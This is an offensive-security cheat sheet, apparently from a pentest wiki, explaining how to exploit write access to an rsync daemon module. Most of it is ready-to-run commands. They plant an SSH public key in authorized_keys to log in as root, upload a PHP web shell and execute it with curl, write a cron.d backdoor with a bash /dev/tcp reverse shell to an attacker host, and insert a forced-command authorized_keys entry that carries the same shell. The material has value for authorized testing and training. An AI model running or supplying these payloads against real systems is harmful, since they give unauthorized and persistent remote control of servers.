Skip to content

Rsync Write Access Exploitation

5 min read Created Mar 30, 2026 Last updated Mar 30, 2026

Rsync Write Access Exploitation

Write access to an rsync module means any file can be uploaded to the path the module exposes. The highest-impact path is planting an SSH authorized key in a user's .ssh directory: this gives direct SSH access without needing the account password. When the module maps to a web root, uploading a web shell provides code execution. Confirm write access through unauthenticated access testing and identify the module path before proceeding.

  • SSH Authorized Key Planting
  • Web Shell Upload via www Module
  • Cron Backdoor via /etc Module
  • Overwrite SSH Config for Forced Command

SSH Authorized Key Planting

When a module maps to a home directory or .ssh path, add your public key to authorized_keys for passwordless SSH access. Generate a keypair first if needed:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f /tmp/rsync_key -N '' -q && cat /tmp/rsync_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... kali@kali
Explain command
-t ed25519 Specifies the key type as Ed25519 elliptic curve algorithm.
-f /tmp/rsync_key Sets the output filename/path for the generated key pair.
-N '' Sets an empty passphrase for the private key.
-q Runs ssh-keygen in quiet mode, suppressing output.
/tmp/rsync_key.pub Variable path referencing the generated public key file to display.

Check what is already in authorized_keys before overwriting it: you want to append, not replace, to avoid locking out existing access:

┌──(kali㉿kali)-[~]
└─$ rsync rsync://$TARGET_IP:873/backup/authorized_keys /tmp/existing_keys 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /tmp/rsync_key.pub >> /tmp/existing_keys
┌──(kali㉿kali)-[~]
└─$ rsync -v /tmp/existing_keys rsync://$TARGET_IP:873/backup/authorized_keys
existing_keys

sent 512 bytes  received 35 bytes  1094.00 bytes/sec
Explain command
rsync://$TARGET_IP:873/backup/authorized_keys Source rsync URI targeting port 873 on the remote host, backup module.
/tmp/existing_keys Local destination path for the downloaded authorized_keys file.
2>/dev/null Redirects stderr to null, suppressing error messages.
/tmp/rsync_key.pub Local public key file appended to the existing keys file.
>> Appends stdout of cat to the target file without overwriting.
-v Enables verbose output, showing files being transferred.
rsync://$TARGET_IP:873/backup/authorized_keys Destination rsync URI to upload the modified authorized_keys back to the server.
┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/rsync_key root@$TARGET_IP
root@target:~#
Explain command
-i /tmp/rsync_key Specifies the private key file to use for authentication.
root@$TARGET_IP Connects as user 'root' to the host defined by TARGET_IP.

Web Shell Upload via www Module

When the module maps to a web root, upload a PHP web shell and trigger it through the web application:

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
┌──(kali㉿kali)-[~]
└─$ rsync -v /tmp/shell.php rsync://$TARGET_IP:873/www/shell.php
shell.php

sent 49 bytes  received 35 bytes  168.00 bytes/sec
Explain command
-v Enable verbose output to show files being transferred.
/tmp/shell.php Local source file path of the PHP webshell to transfer.
rsync://$TARGET_IP:873/www/shell.php Destination rsync URI targeting port 873 on the remote host.
$TARGET_IP:873 Placeholder for target IP with rsync default port 873.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cron Backdoor via /etc Module

When a module maps to /etc or a cron directory, plant a crontab entry for scheduled reverse shell execution:

┌──(kali㉿kali)-[~]
└─$ # Check if cron paths are accessible
┌──(kali㉿kali)-[~]
└─$ rsync --list-only rsync://$TARGET_IP:873/etc/ 2>/dev/null | grep -iE 'cron'
drwxr-xr-x cron.d
drwxr-xr-x cron.daily
Explain command
--list-only List files instead of transferring them.
rsync://$TARGET_IP:873/etc/ Target rsync URI on port 873 browsing the /etc/ module path.
2>/dev/null Redirect stderr to null, suppressing error messages.
-iE Case-insensitive search using extended regular expressions.
cron Pattern to match any cron-related entries in the output.
┌──(kali㉿kali)-[~]
└─$ echo "* * * * * root bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'" > /tmp/cronjob
┌──(kali㉿kali)-[~]
└─$ rsync -v /tmp/cronjob rsync://$TARGET_IP:873/etc/cron.d/update
┌──(kali㉿kali)-[~]
└─$ rm -f /tmp/cronjob
Explain command
$LHOST Attacker's IP address for the reverse shell callback.
$LPORT Attacker's listening port for the reverse shell callback.
-v Enable verbose output showing files transferred.
/tmp/cronjob Local source file containing the malicious cron entry.
rsync://$TARGET_IP:873/etc/cron.d/update Destination rsync URI writing payload to cron.d on target.
-f Suppress error if file does not exist during removal.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, shows connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local listening port number.

Overwrite SSH Config for Forced Command

When the module exposes the sshd_config or authorized_keys with options, force a specific command on SSH login:

┌──(kali㉿kali)-[~]
└─$ # Add key with forced command in authorized_keys
┌──(kali㉿kali)-[~]
└─$ echo "command=\"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\",no-port-forwarding $(cat /tmp/rsync_key.pub)" > /tmp/forced_key
┌──(kali㉿kali)-[~]
└─$ rsync -v /tmp/forced_key rsync://$TARGET_IP:873/backup/authorized_keys
Explain command
-v Enable verbose output, showing files transferred and progress.
$TARGET_IP:873 Target host and port 873 (default rsync daemon port).
rsync://$TARGET_IP:873/backup/authorized_keys rsync URI specifying remote module 'backup' and destination file path.
$LHOST Attacker-controlled host for the reverse shell callback.
$LPORT Attacker-controlled port for the reverse shell callback.

References